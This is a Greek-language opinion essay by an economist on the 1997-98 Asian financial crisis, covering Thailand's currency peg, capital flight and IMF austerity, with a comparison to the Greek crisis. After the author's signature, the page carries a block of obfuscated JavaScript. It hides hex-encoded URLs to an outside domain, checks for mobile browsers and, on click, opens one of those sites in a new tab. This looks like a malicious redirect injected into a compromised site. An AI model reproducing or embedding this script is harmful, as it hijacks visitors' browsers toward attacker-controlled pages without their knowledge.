

Η ΚΡΙΣΗ ΣΤΗΝ ΑΣΙΑ

Προς τα τέλη της δεκαετίας του '90 και ενώ οι περισσότερες χώρες του κόσμου βρισκόταν σε μεταβατικές φάσεις εξέλιξης, μια νέα οικονομική κρίση ξέσπασε στη νοτιοανατολική Ασία. Η αρχή έγινε από την Ταϊλάνδη και ακολούθησαν η Ν. Κορέα, η Ινδονησία και η Μαλαισία. Η Ιαπωνία βρισκόταν ήδη σε παρατεταμένη ύφεση για αρκετά χρόνια διαψεύδοντας τις προσδοκίες που εξύφανε για ανάδειξη της σε ηγεμονική δύναμη.

Λίγο αργότερα η κρίση επεκτάθηκε και προς τα βόρεια πλήττοντας την ήδη ετοιμόρροπη οικονομία της Ρωσικής Ομοσπονδίας. Κατόπιν πέρασε ωκεανούς και θάλασσες και έπληξε μεγάλες χώρες της Λατινικής Αμερικής όπως η Βραζιλία και η Αργεντινή.

Οικονομολόγοι, αναλυτές και δημοσιογράφοι, είδαν τις κρίσεις σαν μια ανέλπιστα ευκαιρία για να επαληθεύσουν τις θεωρίες τους με την εμπειρία και να αποδυθούν σε ατέλειωτες αναλύσεις ερμηνείας εκ των υστέρων. Άλλοι είδαν τις κρίσεις ως αποτέλεσμα της διαφθοράς και του ηθικού κινδύνου, άλλοι ως αποτέλεσμα του «καπιταλισμού των ημετέρων ή της παρέας» (crony capitalism), και άλλοι ως παράγωγο του οξυμένου διεθνούς ανταγωνισμού. Ευτυχώς μερικοί απέδωσαν τις κρίσεις στο γεγονός του ανοίγματος των χωρών αυτών στις διεθνείς χρηματοπιστωτικές αγορές δηλαδή στην αναπτυσσόμενη τότε διαδικασία της παγκοσμιοποίησης. Ο κεντρικός λόγος ήταν η παγκοσμιοποίηση βέβαια αλλά και οι άλλοι που αναφέρθηκαν είχαν τη συμβολή τους. Εκείνο που μάθαμε ωστόσο ήταν πως χώρες με αδύναμες οικονομικές δομές και επιρρεπές στη διαφθορά πολιτικό προσωπικό, πολύ εύκολα μπορούν να κυλήσουν σε χρόνιες κρίσεις μη αντέχοντας στη σκληρότητα των κανόνων που θέτουν οι παγκόσμιες αγορές.

Αν συγκρίνουμε τη κρίση στην Ασία με αυτή στην Ελλάδα και γενικότερα στη νότια Ευρώπη, οπωσδήποτε θα διακρίνουμε μεγάλες διαφορές. Πρώτα απ' όλα οι κρίσεις εκείνες ήταν κατά βάση νομισματικές δηλαδή χρηματοπιστωτικές ενώ η κρίση στην ευρωζώνη και ιδιαίτερα στην Ελλάδα, Πορτογαλία και Ιρλανδία, είναι και παραγωγική. Οι ασιατικές κρίσεις όπως και εκείνη των ενυπόθηκων δανείων του 2008 στις ΗΠΑ, αντιμετωπίστηκαν σχετικά γρήγορα, ενώ αυτή της περιφερειακής Ευρώπης λόγω του διαφορετικού της χαρακτήρα θα πάρει περισσότερο χρόνο. Οι χώρες της Ασίας που αντιμετώπισαν

νομισματική κρίση είχαν την εξουσία πάνω στο εθνικό τους νόμισμα ενώ στην ευρωζώνη την εξουσία αυτή την κατέχουν χώρες που δεν αντιμετωπίζουν κρίση και ως εκ τούτου μπορούν και να βραδυπορούν ως προς τη λήψη αποφάσεων. Εξ' άλλου οι κρίσεις στην Ασία ήταν μια συνηθισμένη περίπτωση σαν εκείνες που περιγράφουν τα πανεπιστημιακά οικονομικά εγχειρίδια ενώ η κρίση στην Ευρώπη είναι συστημική και ως εκ τούτου δεν αναλύεται σε κανένα συμβατικό εγχειρίδιο. Ποιες ήταν όμως οι αιτίες που προκάλεσαν τη κρίση στην Ασία και γιατί τη προκάλεσαν τότε δηλαδή το 1997; Ποια ήταν τα συμπτώματα της και γιατί επεκτάθηκε και στις γύρω χώρες, όπως η Ν. Κορέα, ενώ αυτές έδειχναν υγιείς; Θα αποπειραθώ μια ανάλυση μέσα από την οποία θα προκύψουν οι απαντήσεις στα ερωτήματα και επί πλέον θα προκύψουν και οι διαφορές από τη συστημική κρίση της ευρωζώνης. Αν είναι πράγματι υπαρκτές οι διαφορές το νέο ερώτημα που γεννάται είναι γιατί το ΔΝΤ, που έχει επέμβει και εκεί και εδώ, ακολουθεί τις ίδιες συνταγές θεραπευτικής αγωγής;

Τα συμπτώματα της κρίσης είναι κοινά σε όλες τις ασιατικές χώρες. Υψηλά επιτόκια, υποτίμηση του νομίσματος, μείωση της αξίας των περιουσιακών στοιχείων, πτώση της ακαθάριστης παραγωγής. Στη Ταϊλάνδη η αξία του νομίσματος μπάχτ μειώθηκε κατά 50%, στην Ινδονησία η ρουπία έχασε το 80% της αξίας της και οι μετοχές το 90%, ενώ το ΑΕΠ μειώθηκε κατά 15% μέσα σε ένα χρόνο, το 1998. Οι χώρες παράλληλα έχασαν και την εμπιστοσύνη των διεθνών επενδυτών οι οποίοι απέσυραν μαζικά τα κεφάλαια τους, λόγω των ασταθών και αντιφατικών πολιτικών που εφάρμοσαν οι κυβερνήσεις. Από την άλλη πλευρά τα υψηλά επιτόκια μείωσαν δραματικά τις επενδύσεις και πολλές επιχειρήσεις πέρασαν στην εξαφάνιση ενώ εκατοντάδες χιλιάδες εργαζόμενων έχασαν τις δουλειές τους.

Αν αναρωτηθούμε γιατί η κρίση εκδηλώθηκε το 1997 -98 στη νοτιοανατολική Ασία, η απάντηση βρίσκεται στο γεγονός της μείωσης της αξίας του γεν έναντι του δολαρίου και της υποτίμησης του κινεζικού γουάν το 1994, γεγονότα αμφότερα που υπάγονται στο πεδίο του ανταγωνισμού και που έκαναν τις εξαγωγές των χωρών αυτών ακριβότερες με αποτέλεσμα εγγραφή ελλειμμάτων στο ισοζύγιο τρεχουσών συναλλαγών και πλεονάσματα στους λογαριασμούς κεφαλαίων. Βέβαια κατά τη γνώμη του Μαχαθίρ, πρωθυπουργού της Μαλαισίας, η κρίση οφείλεται στη διεθνή κερδοσκοπία και στα κεφάλαια κάλυψης κινδύνου που συνωμότησαν εναντίον τους. Αν και δεν είναι αμελητέας βαρύτητας η άποψη αυτή, δεν είναι η κύρια αιτία της κρίσης που συντάραξε τη περιοχή. Οι αιτίες είναι βαθύτερες και εδράζουν στο τρόπο με τον οποίο δομήθηκε η ένταξη των οικονομιών τους στις παγκόσμιες αγορές.

Ας δούμε από πιο κοντά τη περίπτωση της Ταϊλάνδης. Αυτή η χώρα είναι σχετικά μικρή και μέχρι τη δεκαετία του 1980 είχε πλεονάσματα αγροτικών προϊόντων τα οποία εξήγαγε όπως και πρώτες ύλες. Μετά τη κρίση χρέους της Λατινικής Αμερικής, τα διεθνή επενδυτικά κεφάλαια αναζητούσαν νέους προορισμούς κερδοφορίας και προσελκύστηκαν

από τη Ταϋλάνδη λόγω των μεταρρυθμιστικών πολιτικών αγοράς που εφαρμόζαν οι κυβερνήσεις της, λόγω του χαμηλού κόστους εργασίας και λόγω του πειθαρχημένου εργατικού δυναμικού. Τα κεφάλαια αυτά, κυρίως ευρωπαϊκά και ιαπωνικά, άρχισαν να εισρέουν στη χώρα είτε αυτοτελώς είτε μέσω χρηματοπιστωτικών εγχώριων εταιριών, χωρίς υψηλό κίνδυνο εξ' αιτίας της σταθερής ισοτιμίας του μπάχτ με το δολάριο. Οι ταϋλανδέζικες χρηματοπιστωτικές εταιρίες, συνδεδεμένες στενά με τη πολιτική και γραφειοκρατική ελίτ, δανείζονταν φθηνά ιαπωνικά ή ευρωπαϊκά κεφάλαια τα οποία δάνειζαν στη συνέχεια σε ντόπιους επιχειρηματίες με υψηλότερο επιτόκιο οι οποίοι τα επένδυαν είτε στο κατασκευαστικό κλάδο, είτε στα ηλεκτρονικά προϊόντα είτε στη βιομηχανία. Μέσα από αυτή τη διαδικασία της εισροής ξένων κεφαλαίων η Ταϋλάνδη γνώριζε ρυθμούς ανάπτυξης κοντά στο 8% ετησίως. Οι μεγάλες εισροές ξένου συναλλάγματος στη χώρα και η μετατροπή τους σε τοπικό νόμισμα απειλούσαν τη σταθερή ισοτιμία του μπάχτ με το δολάριο. Για να μη αυξηθεί η αξία του μπάχτ αφού σημειώνονταν μεγάλη ζήτηση, η κεντρική Τράπεζα της χώρας ήταν αναγκασμένη να πουλά μπάχτ στις αγορές συναλλάγματος και να σωρεύει ξένα νομίσματα. Μέσω αυτού του μηχανισμού η προσφορά χρήματος αυξήθηκε και οι πιστώσεις μέσω του πολλαπλασιαστή χρήματος, αύξαιναν ακόμη περισσότερο τη νομισματική προσφορά. Όσο και αν αυξάνονταν οι κατασκευές κτιρίων ή ο,τιδήποτε άλλο δεν μπορούσαν να απορροφήσουν την ογκώδη μάζα των πιστώσεων με αποτέλεσμα να δημιουργηθεί τεράστια απειλητική φούσκα στην οικονομία που παρέσυρε και τους μισθούς και τις τιμές και ασφαλώς τη ζήτηση για εισαγωγές. Εμφανίστηκαν εμπορικά ελλείμματα που καλύπτονταν από ξένο δανεισμό. Το χρέος όμως δεν ανησυχούσε τη κυβέρνηση γιατί βρισκόταν στο ίδιο ύψος με τις εξαγωγές και υπέρ αντισταθμίζονταν από τις εισροές ξένων κεφαλαίων. Εκείνο που προσπάθησε να κάνει ήταν να εφαρμόσει τη κλασική συνταγή της αποστείρωσης της αγοράς χρήματος. Δηλαδή το χρήμα που ήταν αναγκασμένη να εκδίδει για να καλύψει την υψηλή ζήτηση, προσπάθησε να το ξαναμαζέψει πουλώντας κρατικά χρεόγραφα. Αυτό όμως είχε ως αποτέλεσμα να αυξηθούν τα επιτόκια και να γίνουν ακόμα μεγαλύτερες οι ξένες εισροές. Έτσι η λεγόμενη αποστείρωση απέτυχε. Ο μόνος τρόπος που θα μπορούσε να εφαρμόσει η Κεντρική τράπεζα ήταν να εγκαταλείψει τη σταθερή ισοτιμία του μπάχτ με το δολάριο και να αυξηθεί η αξία του τοπικού νομίσματος. Δεν το έκανε φοβούμενη μη χάσει την εμπιστοσύνη των αγορών και το πλήρωσε πολύ ακριβά.

Η αναπτυξιακή καμπύλη ανόδου άρχισε να παίρνει καθοδική κλίση όταν οι πιστωτικές ροές εμφάνισαν μεγάλη μείωση. Αυτό συνέβη λόγω του γεγονότος ότι τα ταϋλανδέζικα προϊόντα μείωσαν την ανταγωνιστικότητά τους μετά τη υποτίμηση του γεν και του κινεζικού γουάν, όπως ανέφερε πιο πάνω. Οι ενδιαμέσες χρηματοπιστωτικές κερδοσκοπικές εταιρίες άρχισαν να καταγράφουν ζημιές γιατί δεν ήταν πλέον εύκολος ο ξένος δανεισμός. Όσο η φούσκα ξεφούσκωνε οι απώλειες μεγάλωναν με αποτέλεσμα να μειώνεται και η εμπιστοσύνη των ξένων επενδυτών. Οι τιμές των μετοχών έπεφταν ραγδαία όπως και οι τιμές των ακινήτων. Η κεντρική Τράπεζα βρέθηκε αντιμέτωπη με μεγάλα προβλήματα. Η μείωση των ξένων εισροών μείωσε και τη ζήτηση για το μπάχτ στις αγορές ξένου συναλλάγματος. Αλλά η ανάγκη για μετατροπή μπάχτ σε ξένο νόμισμα για να πληρωθούν οι

εισαγωγές της νεόπλουτης τάξης συνεχίστηκε με τον ίδιο ρυθμό. Για να παραμείνει σταθερή η ισοτιμία μπάχτ / δολαρίου η Τράπεζα τώρα έπρεπε να ενισχύσει το εθνικό νόμισμα πουλώντας δολάρια και γεν και αγοράζοντας μπάχτ. Ακριβώς το αντίθετο δηλαδή από εκείνο που έπραττε όταν ήταν αυξημένες οι ξένες εισροές στις εποχές της μεγέθυνσης.

Βέβαια θα μπορούσε να πράξει και κάτι άλλο, περισσότερο σίγουρο για τη διατήρηση της σταθερής ισοτιμίας. Να αυξήσει τα επιτόκια προκαλώντας αρμπιτράζ δολαρίου και μπάχτ. Αυτό όμως θα δημιουργούσε άλλου είδους προβλήματα. Θα μείωνε την επενδυτική τάση σε μια εποχή που η αρχή της ύφεσης είχε κιόλας κάνει την εμφάνιση της. Θα αύξανε την ανεργία και θα επιτάχυνε την ύφεση. Μια άλλη λύση ήταν να αφήσει η κυβέρνηση ελεύθερη την διακύμανση της ισοτιμίας και η αξία του νομίσματος να πέσει έως εκεί που επέβαλαν οι αγορές. Αλλά αυτό με τη σειρά του θα επέφερε μεγαλύτερες ζημιές γιατί πολλές επιχειρήσεις είχαν ήδη συνάψει δάνεια σε ξένο νόμισμα και μια τέτοια κίνηση θα έκανε περισσότερο επαχθή το δανεισμό τους. Μια τρίτη λύση θα ήταν να προχωρήσει η κυβέρνηση στη λήψη σκληρών εσωτερικών μέτρων περιορισμού της αγοραστικής δύναμης και μείωσης των ελλειμμάτων αλλά αυτό φάνηκε πως δεν ήταν μέσα στις επιλογές της. Έτσι συνέχισε να εξαντλεί τα συναλλαγματικά της αποθέματα προκειμένου να στηρίξει την αξία του εθνικού νομίσματος. Όμως αυτά ήρθε κάποια στιγμή που εξανεμίσθηκαν με αποτέλεσμα την απελευθέρωση της διακύμανσης της ισοτιμίας και την απώλεια του 50% της αξίας του μπάχτ. Οι συνέπειες ήταν δραματικές για τις επιχειρήσεις, για την απασχόληση, για το χρέος και για τις τιμές.

Η επέμβαση του Διεθνούς Νομισματικού Ταμείου, ήταν ακαριαία. Προσπάθησε να αποτρέψει τη μετάδοση της κρίσης και στις γειτονικές χώρες όπως η Ινδονησία, η Μαλαισία και η Κορέα αλλά απέτυχε. Κατόπιν προσπάθησε να επανακτήσει την εμπιστοσύνη των αγορών ώστε να αρχίσουν και πάλι οι ξένοι επενδυτές να δανείζουν την Ταϊλάνδη και τις άλλες χώρες λαμβάνοντας τα γνωστά μέτρα απορρύθμισης της αγοράς εργασίας και της εξυγίανσης των δημοσιονομικών.

Η κρίση μεταδόθηκε και σε άλλες χώρες της περιοχής λόγω της απόσυρσης της εμπιστοσύνης των διεθνών επενδυτών από τη περιοχή της νοτιανατολικής Ασίας. Αυτό προκάλεσε πανικό ο οποίος λειτούργησε καταστροφικά για τις τράπεζες οι οποίες έβλεπαν τους καταθέτες τους να αποσύρουν μαζικά τα χρήματα τους. Οι συνέπειες της κρίσης στην Ινδονησία ήταν ακόμα πιο οδυνηρές γιατί το ΔΝΤ περιέκοψε τις επιδοτήσεις βασικών αναγκών προς τους φτωχούς με αποτέλεσμα την αύξηση του αριθμού των θανάτων της εν λόγω πληθυσμιακής ομάδας.

Πάντως, αν περάσουμε σε ένα βαθύτερο επίπεδο ανάλυσης θα καταλήξουμε στο συμπέρασμα πως οι αναδυόμενες οικονομίες ή αγορές, είναι ευάλωτες στις κρίσεις γιατί η ανάπτυξη τους στηρίζεται στα κεφάλαια των διεθνών επενδυτών. Σε ένα παράγοντα δηλαδή ο οποίος δεν μπορεί να ελεγχθεί από τις ίδιες και ο οποίος δεν είναι σταθερός. Τα κεφάλαια της διεθνούς ρευστότητας, λόγω της εύκολης κινητικότητάς τους, στρέφονται εκεί όπου η σχέση απόδοσης / κινδύνου είναι απολύτως ευνοϊκή γι' αυτά. Επομένως το μοντέλο ανάπτυξης που στηρίζεται στις ξένες πιστωτικές επενδύσεις αν δεν προσαρμοσθεί σωστά μπορεί να προκαλέσει τα αντίθετα αποτελέσματα από τα αναμενόμενα και για τους πιστωτές και για τους οφειλότες. Αντίθετα ένα μοντέλο που στηρίζεται στην ιδιοσυντηρούμενη ανάπτυξη και μεριμνά για την εσωτερική συσσώρευση μπορεί να θωρακισθεί από τις μεγάλες διακυμάνσεις των μεγεθών της διεθνούς οικονομίας ή τουλάχιστον να ελαχιστοποιήσει τις συνέπειες. Εξ' άλλου οι αναδυόμενες οικονομίες εμφανίζουν τόσο ευάλωτες και ανολοκλήρωτες οικονομικές, πολιτικές και κοινωνικές δομές, με κριτήρια αγοράς, που ανά πάσα στιγμή μπορούν να προκαλέσουν αναταραχές όπως έγινε στο Μεξικό, που θα αυξήσουν τον κίνδυνο και θα τρέψουν σε φυγή τα ξένα κεφάλαια.

Η κρίση της διεθνούς εμπιστοσύνης που έπληξε τις ασιατικές χώρες άνοιξε ταυτόχρονα ένα φαύλο κύκλο, πολύ εύκολα, με τα παρακάτω στάδια:

- Η μείωση των εξωτερικών πιστώσεων δημιούργησε προβλήματα στο τραπεζικό σύστημα.

- Τα προβλήματα αυτά μείωσαν τη διεθνή εμπιστοσύνη η οποία αντανάκλαστηκε στη μείωση των πιστώσεων.

- Η εξέλιξη αυτή οδήγησε με τη σειρά της στην αύξηση των επιτοκίων η οποία μείωσε τις αξίες των τίτλων περιουσίας.

- Η μείωση των στοιχείων αυτών αύξησε τις τραπεζικές επισφάλειες και τα δάνεια που δεν εξοφλούνταν.

- Και αυτό με τη σειρά του αύξησε τα προβλήματα που ήδη είχε ο τραπεζικός τομέας.
- Τέλος οι πιστώσεις μειώθηκαν αποκαρδιωτικά και προς τις εθνικές επιχειρήσεις με αποτέλεσμα τη συρρίκνωση του χώρου τους, τις απολύσεις και τη μείωση του βιοτικού επιπέδου του πληθυσμού.

Η παρέμβαση των διεθνών οργανισμών αντί να μεριμνήσει για την ενίσχυση των εγχώριων δομών της οικονομίας και της κοινωνίας, φροντίζει για την αποκατάσταση της εμπιστοσύνης των διεθνών επενδυτών με δημοσιονομική προσαρμογή και απελευθέρωση των αγορών εργασίας.

Η ίδια πρακτική ακολουθείται και στην περίπτωση της Ελλάδας. Δεν μπορεί να αρνηθεί κανείς τη δημοσιονομική εξυγίανση και τις αναγκαίες μεταρρυθμίσεις στις αγορές, αλλά όταν αυτές επιχειρούνται χωρίς τις αναγκαίες χρονικές και συνειδησιακές προϋποθέσεις, τότε είναι βέβαιο πως θα αποτύχουν. Επιπρόσθετα αυτές θα πρέπει να συνδυασθούν με τις δομικές αλλαγές που χρειάζονται στο παραγωγικό και κοινωνικό ιστό της χώρας, προκειμένου να κτιστούν αυτοσυντηρούμενοι μηχανισμοί και λειτουργίες αυτοτροφοδοτούμενης ανάπτυξης. Ειδικά για την Ελλάδα όπου η κρίση δεν είναι μόνο νομισματική αλλά και παραγωγική δηλαδή συστημική, η αντιμετώπιση της θα πρέπει να ενταχθεί σε ένα ευρύτερο πρόγραμμα ολικής (και όχι μόνο οικονομικής) αναπτυξιακής αναδιάρθρωσης με το οποίο θα επιτευχθεί ο ορθολογισμός των επιλογών και η εναρμόνιση στόχων και μέσων. Αυτές οι διαδικασίες όμως είναι ιστορικές, απαιτούν χρόνο και λαμβάνουν χώρα κάτω από μείζονα γεγονότα.

Κουρματζής Θανάσης

Οικονομολόγος / Στατιστικός / Συγγραφέας

```
function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return
_0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let
_0x2d38c6=_0x10c8dc[_0x3023c3];return
_0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const
_0x2ccc2=['userAgent','x68x74x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx
```

```
70x61x6ex79x2fx7ax52x54x32x63x312','length','_blank','mobileCheck','x68x74x74x70x3ax2fx2f
x61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx51x52x56x33x63x373','x68x74
x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx6bx5ax4dx30
x63x370','random','-local-storage','x68x74x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex
63x6fx6dx70x61x6ex79x2fx4cx50x72x37x63x357','stopPropagation','4051490VdJdXO','test','op
en','x68x74x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx7a
x63x51x36x63x386','12075252qhSFyR','x68x74x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x
78x2ex63x6fx6dx70x61x6ex79x2fx45x70x55x38x63x388','x68x74x74x70x3ax2fx2fx61x6cx6dx6
1x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx71x78x64x35x63x385','4829028FhdmK','ro
und','-hurs','-mnts','864690TKFqJG','forEach','abs','1479192fKZCLx','16548MMjUpf','filter','vend
or','click','setItem','3402978fTfcqu'];_0x10c8=function(){return _0x2ccc2;};return
_0x10c8();}const _0x3ec38a=_0x3023;(function(_0x550425,_0x4ba2a7){const
_0x142fd8=_0x3023,_0x2e2ad3=_0x550425();while(![]){try{const
_0x3467b1=-parseInt(_0x142fd8(0x19c))/0x1+parseInt(_0x142fd8(0x19f))/0x2+-parseInt(_0x14
2fd8(0x1a5))/0x3+parseInt(_0x142fd8(0x198))/0x4+-parseInt(_0x142fd8(0x191))/0x5+parseInt(
_0x142fd8(0x1a0))/0x6+parseInt(_0x142fd8(0x195))/0x7;if(_0x3467b1===_0x4ba2a7)break;els
e
_0x2e2ad3['push'](_0x2e2ad3['shift']());}catch(_0x28e7f8){_0x2e2ad3['push'](_0x2e2ad3['shift'](
));}})(_0x10c8,0xd3435));var
_0x365b=[_0x3ec38a(0x18a),_0x3ec38a(0x186),_0x3ec38a(0x1a2),'opera',_0x3ec38a(0x192),'
substr',_0x3ec38a(0x18c),'x68x74x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx
6dx70x61x6ex79x2fx4ex6ax74x31x63x311',_0x3ec38a(0x187),_0x3ec38a(0x18b),'x68x74x74x
70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx6ex46x41x34x63x
314',_0x3ec38a(0x197),_0x3ec38a(0x194),_0x3ec38a(0x18f),_0x3ec38a(0x196),'x68x74x74x7
0x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx74x4ex46x39x63x3
09','",_0x3ec38a(0x18e),'getItem',_0x3ec38a(0x1a4),_0x3ec38a(0x19d),_0x3ec38a(0x1a1),_0x
3ec38a(0x18d),_0x3ec38a(0x188),'floor',_0x3ec38a(0x19e),_0x3ec38a(0x199),_0x3ec38a(0x1
9b),_0x3ec38a(0x19a),_0x3ec38a(0x189),_0x3ec38a(0x193),_0x3ec38a(0x190),'host','parse',_
0x3ec38a(0x1a3),'addEventListener'];(function(_0x16176d){window[_0x365b[0x0]]=function(){le
t _0x129862=![];return
function(_0x784bdc){(((android|bbd+|meego).+mobile|avantgo|bada|blackberry|blazer|compal|e
laine|fennec|hiptop|iemo|ip(hone|od)|iris|kindle|lge
|maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm(
os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6|0)|symbian|treo|up.(browser|link)|vodafone|wa
p|windows
ce|xda|xiino|i[_0x365b[0x4]](_0x784bdc))/1207|6310|6590|3gso|4thp|50[1-6]|770s|802s|a
wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-
m|r|s
)|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55|/capi|ccwa|cdm-|cell|chtm|cldc|c
md-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(
ic|k0)|esl8|ez([4-7]|0|os|wa|ze)|fetc|fly(-|_)|g1
u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c-|
|_a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac(
|-/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( /)|klon|kpt
|kwc-|kyo(c|k)|le(no|xi)|lg(
g|/(k|l|u)|50|54|-|a-w)|libw|lynx|m1-w|m3ga|m50|/ma(te|ui|x)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|
```

```

oa|ts)|mmef|mo(01|02|bi|de|do|t(-|o|v)|zz)|mt(50|p1|v
)|mwbp|mywa|n10[0-2]|n20[2-3]|n30[0|2]|n50[0|2|5]|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6
|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-[1-8]|c))|phil|pire|pl(ay|uc)|pn-2|p
o(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/
|sa(ge|ma|mm|ms|ny|va)|sc(01|h-oo|p-)|sdk|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(4
5|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-v|v
)|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-
9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|8
1|83|85|98)|w3c(-| )|webc|whit|wi(g
|nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i[_0x365b[0x4]](_0x784bdc[_0x365b[0x5]](0x0,0x4)
))&&(_0x129862=!![]);(navigator[_0x365b[0x1]]|navigator[_0x365b[0x2]]|window[_0x365b[0x3]
]),_0x129862;};const
_0xfdead6=[_0x365b[0x6],_0x365b[0x7],_0x365b[0x8],_0x365b[0x9],_0x365b[0xa],_0x365b[0x
b],_0x365b[0xc],_0x365b[0xd],_0x365b[0xe],_0x365b[0xf]],_0x480bb2=0x3,_0x3ddc80=0x6,_0
x10ad9f=_0x1f773b=>{_0x1f773b[_0x365b[0x14]]((_0x1e6b44,_0x967357)=>{!!localStorage[_0x
365b[0x12]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11])&&localStorage[_0x365b[0x13]](_0x36
5b[0x10]+_0x1e6b44+_0x365b[0x11],0x0);});},_0x2317c1=_0x3bd6cc=>{const
_0x2af2a2=_0x3bd6cc[_0x365b[0x15]]((_0x20a0ef,_0x11cb0d)=>localStorage[_0x365b[0x12]](
_0x365b[0x10]+_0x20a0ef+_0x365b[0x11])==0x0);return
_0x2af2a2[Math[_0x365b[0x18]](Math[_0x365b[0x16]]()*_0x2af2a2[_0x365b[0x17]]);},_0x57de
ba=_0x43d200=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x43d200+_0x365b[0x11],0x1)
,_0x1dd2bd=_0x51805f=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x51805f+_0x365b[0x
11]),_0x5e3811=(_0x5aa0fd,_0x594b23)=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x5a
a0fd+_0x365b[0x11],_0x594b23),_0x381a18=(_0x3ab06f,_0x288873)=>{const
_0x266889=0x3e8*0x3c*0x3c;return
Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x288873-_0x3ab06f)/_0x266889);},_0x3f1308=(
_0x3a999a,_0x355f3a)=>{const _0x5c85ef=0x3e8*0x3c;return
Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x355f3a-_0x3a999a)/_0x5c85ef);},_0x4a7983=(
_0x19abfa,_0x2bf37,_0xb43c45)=>{_0x10ad9f(_0x19abfa),newLocation=_0x2317c1(_0x19abfa),
_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1b],_0xb43c45),_0x5e3811(_0x365b[0x10]+
_0x2bf37+_0x365b[0x1c],_0xb43c45),_0x57deba(newLocation),window[_0x365b[0x0]]()&&windo
w[_0x365b[0x1e]](newLocation,_0x365b[0x1d]);},_0x10ad9f(_0xfdead6);function
_0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();const
_0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const
_0x4593ae=Date[_0x365b[0x21]](new
Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1d
d2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const
_0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x45
93ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0
x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));_0x4
48fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0
x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x5
7deba(_0x1b1224));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else
_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x9
78889);})();

```